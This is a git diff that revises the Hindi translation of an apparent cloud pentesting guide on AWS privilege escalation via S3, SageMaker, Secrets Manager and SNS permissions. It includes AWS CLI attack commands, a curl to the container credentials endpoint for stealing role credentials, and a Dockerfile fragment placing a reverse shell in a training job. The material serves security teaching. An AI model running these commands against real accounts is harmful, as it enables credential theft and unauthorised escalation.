+- यदि एक EC2 इंस्टेंस **S3 बकेट में उपयोगकर्ता डेटा** स्टोर कर रहा है, तो एक हमलावर इसे **EC2 इंस्टेंस के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**।
### `s3:PutBucketPolicy`
-एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger`, इस अनुमति के साथ बकेट(s) पर अधिक अनुमति देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा।
+एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger` होगी, इस अनुमति के साथ बकेट(s) पर अधिक अनुमतियाँ देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा।
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के अंदर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है।
+एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के भीतर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है।
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index 9a86caf6f..a6692e08a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -6,18 +6,18 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-IAM भूमिका के साथ एक नोटबुक बनाना शुरू करें जो इससे जुड़ी हो:
+एक नोटबुक बनाना शुरू करें जिसमें इसे एक्सेस करने के लिए IAM भूमिका संलग्न हो:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam:::role/service-role/
```
-उत्तर में `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो जाए:
+उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name
```
-Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.
+ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर “Launcher” टैब पर स्क्रॉल करें और “Other” अनुभाग के तहत “Terminal” बटन पर क्लिक करें।
अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है।
@@ -25,7 +25,7 @@ Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top
### `sagemaker:CreatePresignedNotebookInstanceUrl`
-यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
+यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से उन्हें खोज सकते हैं)। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name
```
@@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल चुरा सकेगा।
+उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुरा सकेगा।
> [!WARNING]
> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
@@ -58,7 +58,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
> # Docker छवि बनाएँ
> mkdir /tmp/rev
> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है
-> ## इसलिए मैं रिवर्स शेल को /bin/train में रख रहा हूँ
+> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ
> ## और के मान सेट करें
> cat > /tmp/rev/Dockerfile < FROM ubuntu
@@ -90,12 +90,12 @@ aws sagemaker create-training-job \
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
```
-**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।
+**संभावित प्रभाव:** निर्दिष्ट सagemaker सेवा भूमिका के लिए प्रिवेस्क।
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
-NAN;_I समय की कमी के कारण इसका लाभ नहीं उठाया है, लेकिन यह पिछले शोषणों के समान दिखता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
+NAN;_I ने समय की कमी के कारण शोषण नहीं किया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
## संदर्भ
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index 26ec2c0d8..6fd2ed56b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -16,11 +16,11 @@ Secrets manager के बारे में अधिक जानकारी
```bash
aws secretsmanager get-secret-value --secret-id # Get value
```
-**संभावित प्रभाव:** AWS सीक्रेट्स मैनेजर सेवा के अंदर उच्च संवेदनशील डेटा तक पहुंच।
+**संभावित प्रभाव:** AWS सीक्रेट्स मैनेजर सेवा के अंदर उच्च संवेदनशील डेटा तक पहुंच प्राप्त करना।
### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
-पिछले अनुमतियों के साथ, यह संभव है कि **अन्य प्रिंसिपल/खातों (यहां तक कि बाहरी)** को **गुप्त** तक पहुंच प्रदान की जाए। ध्यान दें कि **KMS कुंजी** के साथ एन्क्रिप्ट किए गए गुप्तों को **पढ़ने** के लिए, उपयोगकर्ता को **KMS कुंजी पर पहुंच** भी होनी चाहिए (अधिक जानकारी के लिए [KMS Enum पृष्ठ](../aws-services/aws-kms-enum.md) पर जाएं)।
+पिछले अनुमतियों के साथ, यह संभव है कि **अन्य प्रिंसिपल/खातों (यहां तक कि बाहरी)** को **गुप्त** तक पहुंच देने के लिए। ध्यान दें कि **KMS कुंजी** के साथ एन्क्रिप्ट किए गए गुप्तों को **पढ़ने** के लिए, उपयोगकर्ता को **KMS कुंजी पर पहुंच** भी होनी चाहिए (अधिक जानकारी के लिए [KMS Enum पृष्ठ](../aws-services/aws-kms-enum.md) देखें)।
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index a08d4f10a..d1815dc3c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -16,7 +16,7 @@
```bash
aws sns publish --topic-arn --message
```
-**संभावित प्रभाव**: भेद्यता का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
+**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
### `sns:Subscribe`
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol